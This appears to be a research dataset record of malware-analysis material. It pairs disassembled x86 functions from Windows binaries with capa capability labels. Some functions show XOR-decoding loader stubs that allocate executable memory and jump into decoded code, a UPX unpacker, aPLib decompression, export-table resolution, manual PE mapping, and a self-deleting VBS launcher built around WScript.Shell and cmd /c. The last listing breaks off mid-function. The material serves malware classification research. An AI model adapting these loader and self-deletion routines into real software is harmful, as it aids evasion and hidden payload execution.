joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005a7a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10005a89
pop dword [ebp - 0x1c]
mov eax, 0x10005a89
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x500d9df7
add dword [ebp - 0x2c], 0xfe44a754
mov dword [ebp - 0x28], 0xf6106702
add dword [ebp - 0x28], 0x3c22e543
mov dword [ebp - 0x24], 0xa9b251f2
add dword [ebp - 0x24], 0xa299f23c
mov dword [ebp - 0x20], 0xc50a797b
add dword [ebp - 0x20], 0x3af58685
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x5c717888
add eax, 0xb38f479c
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x313410a4
sub dword [ebp - 0x2c], 0xbcc1a74e
mov dword [ebp - 0x28], 0xc96b2f27
add dword [ebp - 0x28], 0x7801324e
mov dword [ebp - 0x24], 0xbcc0b5c8
add dword [ebp - 0x24], 0xa6aeb6a4
mov dword [ebp - 0x20], 0x41923018
add dword [ebp - 0x20], 0xbe6dcfe8
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x83a49bb0
add eax, 0x8c5c247c
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3a326
push 0
call eax
mov ecx, 0x8e00887a
add ecx, 0x71ffc843
xor ebx, ebx
add ebx, eax
mov edi, 0xfb02326b
sub edi, 0xeafdbe6b
add edi, dword [ebp - 0x1c]
mov edx, 0xfb60217e
add edx, 0xbe0133c8
add dword [ebp - 4], 0x99a9c8f7
mov esi, dword [edi]
sub dword [ebp - 4], ecx
xor esi, edx
sub dword [ebp - 0xc], 0x216c258
mov dword [ebx], esi
sub dword [ebp - 0xc], edi
add ebx, 4
add edi, 4
loop 0x10005ba8
add eax, 0xb3f1bce6
add eax, 0x4c0f78e1
mov ebx, eax
add eax, 0xd5d7b87a
sub eax, 0xd5d7b875
mov ecx, 0x35778ff8
sub ecx, 0x25778ff8
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x1000800f
Capabilities:
Get common file path
Query or enumerate registry value

Disassembly:
push 0x178
mov eax, 0x1000bbb4
call fcn.10009cac
cmp byte [0x10044502], 0
mov edi, dword [ebp + 8]
push 0xa
pop eax
jne 0x1000819d
lea eax, [ebp - 0x15c]
xor ebx, ebx
push eax
push 0x20019
push ebx
push str.SOFTWAREApple_Computer__Inc.QuickTime
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x100080c1
lea eax, [ebp - 0x160]
mov dword [ebp - 0x160], 4
push eax
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x16c]
push eax
push ebx
push str.Version
push dword [ebp - 0x15c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x15c]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x100080c1
mov ecx, dword [ebp - 0x164]
mov eax, ecx
shr eax, 0x18
shr ecx, 0x10
push 0xa
mov byte [0x1004450b], al
mov byte [0x1004450a], cl
mov word [0x10044508], bx
pop eax
jmp 0x1000818e
push 0x104
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
push ebx
push 0x1000cb50
lea eax, [ebp - 0x128]
push 0x118
push eax
call fcn.10005a7a
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
add esp, 0x18
test eax, eax
jne 0x10008180
lea eax, [ebp - 0x128]
push eax
lea ecx, [ebp - 0x184]
call fcn.10005a7a
lea ecx, [ebp - 0x184]
call fcn.10005a7a
mov esi, edx
mov ebx, eax
mov ecx, esi
mov edx, ebx
shr ecx, 0x10
mov eax, esi
and cl, 0xf
mov byte [0x1004450b], cl
mov ecx, esi
shrd edx, ecx, 0x1c
mov ecx, ebx
shrd ecx, eax, 0x10
shrd ebx, esi, 0x1c
xor dl, cl
xor eax, eax
and dl, 0xf
mov word [0x10044508], ax
xor dl, bl
mov dword [0x10044504], eax
mov byte [0x1004450a], dl
mov esi, eax
lea ecx, [ebp - 0x184]
mov dword [ebp - 4], eax
mov dword [ebp - method.CFileVersion.virtual_0], vtable.CFileVersion.0
call fcn.10007bfb
or dword [ebp - 4], 0xffffffff
mov ebx, dword [0x10044504]
test esi, esi
push 0xa
pop eax
cmovne ebx, eax
mov dword [0x10044504], ebx
mov byte [0x10044502], 1
jmp 0x100081a3
mov ebx, dword [0x10044504]
test ebx, ebx
jne 0x100081bd
push 4
push 0x10044508
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
call fcn.10009c56
ret
mov dword [ebp - 0x168], eax
lea eax, [ebp - 0x168]
push 0x10042958
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40501c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x405028
push 0x405024
push 0x405020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x405028]
push dword [0x405024]
push dword [0x405020]
mov dword [0x405014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret
Function at 0x406371
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x238
mov eax, 0x40e86a
call fcn.0040d30f
mov dword [ebp - 0x21c], ecx
movzx eax, word [ebp + 8]
xor edi, edi
mov esi, dword [0x4166e8]
inc edi
push 0xf0
push eax
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
test eax, eax
je 0x4064e2
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
je 0x4064e2
push eax
call dword [sym.imp.kernel32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4064e2
movzx eax, word [esi]
xor ecx, ecx
cmp cx, ax
je 0x4064e2
mov ecx, dword [esi + 4]
mov ebx, eax
movzx eax, word [esi + 2]
add esi, 8
mov dword [ebp - 0x220], ecx
mov ecx, 0x403
cmp cx, ax
jne 0x40645b
push 3
lea eax, [ebp - 0x110]
push esi
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x114], eax
call main
push dword [ebp - 0x114]
mov eax, dword [ebp - 0x21c]
and dword [ebp - 4], 0
push 0
push 0x143
push ebx
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor ecx, ecx
cmp eax, 0xffffffff
lea eax, [ebp - 0x110]
cmove edi, ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x114], eax
je 0x4064d4
push dword [ebp - 0x114]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x4064d4
mov ecx, 0x1234
cmp cx, ax
jne 0x4064d4
or dword [ebp - 0x240], 0xffffffff
lea eax, [ebp - 0x214]
push 3
push esi
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x244], 1
mov dword [ebp - 0x218], eax
call main
mov eax, dword [ebp - 0x218]
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x23c], eax
cmp eax, ecx
je 0x4064ae
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
lea eax, [ebp - 0x244]
push eax
mov eax, dword [ebp - 0x21c]
push 0
push 0x40b
push ebx
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor ecx, ecx
cmp eax, 0xffffffff
cmove edi, ecx
add esi, dword [ebp - 0x220]
test edi, edi
jne 0x4063c9
mov eax, edi
call fcn.0040d2ca
ret 4

Function at 0x40d75b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40d76a
pop dword [ebp - 0x4c]
mov eax, 0x40d76a
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3cba3
push 0
mov eax, 0xd3e51e3f
add eax, 0x2c5bd251
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x5974
xor edx, edx
add edx, eax
mov ebx, 0x41aa00
add ebx, dword [ebp - 0x4c]
mov edi, 0xabf7b8f6
sub edi, 0x81bec9c4
sub dword [ebp - 0x20], ecx
mov esi, dword [ebx]
sub dword [ebp - 0x2c], esi
sub esi, edi
xor dword [ebp - 0x30], eax
mov dword [edx], esi
xor dword [ebp - 0x44], 0x2a187e84
add edx, 0x8b723083
sub edx, 0x8b72307f
add ebx, 0x8b455d4
sub ebx, 0x8b455d0
loop 0x40d7ba
add eax, 0x286530cc
sub eax, 0x2863d829
xor ebx, ebx
add ebx, eax
add eax, 0xf5f9ba23
add eax, 0xa0645e2
mov ecx, 0xfa267acf
add ecx, 0x6198531
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x45ad00
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x54000]
push edi
or ebp, 0xffffffff
jmp 0x45ad22
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x45ad29
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45ad18
mov eax, 1
add ebx, ebx
jne 0x45ad3b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x45ad4c
jne 0x45ad6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45ad6b
dec eax
add ebx, ebx
jne 0x45ad58
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x45ad30
add ebx, ebx
jne 0x45ad67
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x45adbd
xor ecx, ecx
sub eax, 3
jb 0x45ad83
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x45adf2
sar eax, 1
mov ebp, eax
jmp 0x45ad8e
add ebx, ebx
jne 0x45ad8e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45ad5c
inc ecx
add ebx, ebx
jne 0x45ad9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45ad5c
add ebx, ebx
jne 0x45ada9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x45ad9e
jne 0x45adba
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x45ad9e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x45addc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x45adce
jmp 0x45ad1e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x45addc
add edi, ecx
jmp 0x45ad1e
pop esi
mov edi, esi
mov ecx, 0x455
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x45adfa
cmp byte [edi], 0
jne 0x45adfa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x45adff
lea edi, [esi + 0x58000]
mov eax, dword [edi]
or eax, eax
je 0x45ae6e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa1270]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa12f8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x45ae2c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa1300]
or eax, eax
je 0x45ae68
mov dword [ebx], eax
add ebx, 4
jmp 0x45ae49
call dword [esi + 0xa12fc]
mov ebp, dword [esi + 0xa1304]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x45aea2
sub esp, 0xffffff80
jmp 0x409b60
Function at 0x401069
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43b030]
jne 0x401073
repz ret
jmp fcn.00402061

Function at 0x408d0b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404f5a
and dword [ebp - 4], 0
cmp dword [0x43db68], 0
mov ebx, eax
jne 0x408dbc
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x408e6d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x408e6d
push eax
call fcn.00404ee8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43db68], eax
call esi
push eax
call fcn.00404ee8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43db6c], eax
call esi
push eax
call fcn.00404ee8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43db70], eax
call esi
push eax
call fcn.00404ee8
pop ecx
mov dword [0x43db78], eax
test eax, eax
je 0x408dbc
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404ee8
pop ecx
mov dword [0x43db74], eax
mov eax, dword [0x43db74]
cmp eax, ebx
je 0x408e14
cmp dword [0x43db78], ebx
je 0x408e14
push eax
call fcn.00404f63
push dword [0x43db78]
mov esi, eax
call fcn.00404f63
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x408e14
test edi, edi
je 0x408e14
call esi
test eax, eax
je 0x408e0b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x408e0b
test byte [ebp - 0xc], 1
jne 0x408e14
or dword [ebp + 0x10], 0x200000
jmp 0x408e4d
mov eax, dword [0x43db6c]
cmp eax, ebx
je 0x408e4d
push eax
call fcn.00404f63
pop ecx
test eax, eax
je 0x408e4d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x408e4d
mov eax, dword [0x43db70]
cmp eax, ebx
je 0x408e4d
push eax
call fcn.00404f63
pop ecx
test eax, eax
je 0x408e4d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43db68]
call fcn.00404f63
pop ecx
test eax, eax
je 0x408e6d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408e6f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403594
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x1049008], 0x8088405
inc edx
mov dword [ebx + 0x1049008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41be24
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41be55
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41be3d
add dl, dl
jne 0x41be60
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41beb1
xor eax, eax
add dl, dl
jne 0x41be6d
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41bf4e
add dl, dl
jne 0x41be7c
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41be87
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41be92
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41be9d
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41bea7
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41be4c
mov eax, 1
add dl, dl
jne 0x41bebf
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41beca
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41beb6
sub eax, ebx
mov ebx, 1
jne 0x41befd
mov ecx, 1
add dl, dl
jne 0x41bee3
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41beee
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41beda
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41be4c
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41bf14
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41bf1f
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41bf0b
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41be4c
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41bf6f
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41be4c
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41cc08
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 4], eax
mov ecx, ebx
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov eax, dword [eax + 0x78]
add eax, ebx
mov esi, dword [eax + 0x18]
mov edx, dword [eax + 0x1c]
add edx, ebx
mov dword [ebp - 0xc], edx
mov edi, dword [eax + 0x20]
add edi, ebx
mov edx, dword [eax + 0x24]
add edx, ebx
mov dword [ebp - 8], edx
mov edx, dword [ebp + 0xc]
cmp edx, 0xffff
jbe 0x41cc8c
test esi, esi
jbe 0x41cca3
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp + 0xc]
call fcn.004087d0
test eax, eax
jne 0x41cc7e
mov eax, dword [ebp - 8]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [ebp - 4], eax
jmp 0x41cca3
add dword [ebp - 8], 2
add edi, 4
dec esi
test esi, esi
ja 0x41cc5b
jmp 0x41cca3
mov ecx, edx
sub ecx, dword [eax + 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x41cca3
mov eax, ecx
shl eax, 2
add eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x41d310
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov word [ebp - 4], cx
mov byte [ebp - 1], dl
xor eax, eax
push ebp
push 0x103c921
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404ca4
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x41d34b
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x41d364
lea eax, [ebp - 0xc]
mov edx, dword [0x1049fe0]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00404d04
jmp 0x41d377
lea eax, [ebp - 0xc]
mov edx, dword [0x1049fe0]
mov edx, dword [edx]
mov edx, dword [edx + 0x14]
call fcn.00404d04
lea eax, [ebp - 0xc]
mov edx, ebx
sar edx, 1
jns 0x41d383
adc edx, 0
mov edx, dword [edx*4 + 0x10498b0]
call fcn.00404ef4
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0xc]
call fcn.00404ed8
push eax
call fcn.00406acc
mov esi, eax
cmp esi, 0xffffffff
je 0x41d4f3
mov eax, 0x40
call fcn.00403250
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call fcn.00406cb4
test eax, eax
je 0x41d4e6
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x41d4e6
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406cdc
mov eax, edi
call fcn.00403270
mov eax, 0x18
call fcn.00403250
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x18
push edi
push esi
call fcn.00406cb4
test eax, eax
je 0x41d4e6
mov eax, edi
cmp dword [eax], 0x4550
jne 0x41d4e6
add eax, 4
cmp byte [ebp - 1], 0
je 0x41d48a
cmp word [eax], 0x8664
jne 0x41d48a
mov eax, edi
call fcn.00403270
mov eax, 0xf0
call fcn.00403250
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xf0
push edi
push esi
call fcn.00406cb4
test eax, eax
je 0x41d4e6
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x41d4e6
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
call fcn.00404ce0
jmp 0x41d4e6
cmp byte [ebp - 1], 0
jne 0x41d4e6
cmp word [eax], 0x14c
jb 0x41d4e6
cmp word [eax], 0x150
ja 0x41d4e6
mov eax, edi
call fcn.00403270
mov eax, 0xe0
call fcn.00403250
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xe0
push edi
push esi
call fcn.00406cb4
test eax, eax
je 0x41d4e6
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x41d4e6
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
call fcn.00404ce0
mov eax, edi
call fcn.00403270
push esi
call fcn.00406a94
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.00405000
jne 0x41d50b
inc ebx
cmp ebx, 0x19
jne 0x41d33d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x103c928
lea eax, [ebp - 0xc]
call fcn.00404ca4
ret
Function at 0x41dac8
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc88
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x103d3f2
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x10], 0xc0000033
lea ecx, [ebp - 0x14]
mov edx, dword [ebp + 0x14]
mov eax, dword [0x104ba6c]
call fcn.004200f0
mov ebx, eax
test ebx, ebx
je 0x41dfd4
mov edx, dword [ebp - 0x14]
mov eax, dword [ebx + 0x7c]
call fcn.00416408
mov edi, eax
lea eax, [ebp - 0x1c]
mov edx, dword [ebx + 0xc]
call fcn.00404d04
lea eax, [ebp - 0x3c]
call fcn.00404ca4
xor eax, eax
mov dword [ebp - 0x50], eax
xor eax, eax
mov dword [ebp - 0x54], eax
xor eax, eax
mov dword [ebp - 0x58], eax
mov byte [ebp - 0x5b], 0
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x1c]
call fcn.00404ed8
push eax
call fcn.00406acc
mov ebx, eax
cmp ebx, 0xffffffff
Function at 0x421a70
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0xc], eax
mov byte [edi], 0
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax], edx
mov ecx, dword [ebp - 4]
cmp word [ecx], 0x5a4d
jne 0x421b85
mov eax, dword [ebp - 4]
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov ebx, eax
cmp dword [ebx], 0x4550
jne 0x421b85
push 0x40
push 0x2000
mov eax, dword [ebx + 0x50]
push eax
mov eax, dword [ebx + 0x34]
push eax
call fcn.00406cfc
mov esi, eax
test esi, esi
je 0x421af1
push 0x40
push 0x1000
mov eax, dword [ebx + 0x50]
push eax
mov eax, dword [ebx + 0x34]
push eax
call fcn.00406cfc
mov esi, eax
test esi, esi
jne 0x421b0c
push 0x40
push 0x101000
mov eax, dword [ebx + 0x50]
push eax
push 0
call fcn.00406cfc
mov esi, eax
mov byte [edi], 1
test esi, esi
je 0x421b85
mov edx, dword [ebx + 0x50]
mov eax, esi
call fcn.00406da0
mov ecx, dword [ebx + 0x54]
mov edx, dword [ebp - 4]
mov eax, esi
call fcn.00406d98
mov ax, word [ebx + 6]
test ax, ax
jbe 0x421b68
movzx eax, ax
dec eax
test eax, eax
jl 0x421b68
inc eax
mov dword [ebp - 0x10], eax
xor edi, edi
lea eax, [edi + edi*4]
mov ecx, dword [ebx + eax*8 + 0x108]
mov edx, dword [ebx + eax*8 + 0x10c]
add edx, dword [ebp - 4]
push edx
mov eax, dword [ebx + eax*8 + 0x104]
add eax, esi
pop edx
call fcn.00406d98
inc edi
dec dword [ebp - 0x10]
jne 0x421b3e
mov eax, dword [ebp - 8]
mov edx, dword [ebx + 0x50]
mov dword [eax], edx
mov eax, dword [ebp - 8]
mov eax, dword [eax]
push eax
push esi
call fcn.00406b5c
push eax
call fcn.00406b34
mov dword [ebp - 0xc], esi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b4ac
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.00410199
mov esi, 0x46e5f0
mov ecx, esi
call fcn.0040247b
push eax
mov ecx, esi
call fcn.00401f87
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.xwrwsss
mov ecx, 0x46e5a8
call fcn.00401f87
mov edx, eax
call fcn.00410a5f
add esp, 0x14
xor edi, edi
test al, al
jne 0x40b50c
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.00417a83
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00417cca
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00403098
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401ee2
lea ecx, [ebp - 0x48]
call fcn.00401fb9
lea eax, [ebp - 0x78]
push eax
push 0x4609b8
push 0x461088
call fcn.00437aef
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00404260
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403098
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.0040440a
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401ee2
lea ecx, [ebp - 0x30]
call fcn.00401ee2
lea ecx, [ebp - 0x18]
call fcn.00401f5f
push 0x46112c
push str._____0
lea ecx, [ebp - 0xc0]
call fcn.00404260
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.00404260
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00403098
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00403022
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403098
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00403303
lea ecx, [ebp - 0x48]
call fcn.00401ee2
lea ecx, [ebp - 0x30]
call fcn.00401ee2
lea ecx, [ebp - 0x90]
call fcn.00401ee2
lea ecx, [ebp - 0xa8]
call fcn.00401ee2
lea ecx, [ebp - 0xc0]
call fcn.00401ee2
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.0040778c
push edi
lea ecx, [ebp - 0x60]
call fcn.00401edd
push eax
lea ecx, [ebp - 0x18]
call fcn.0040247b
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
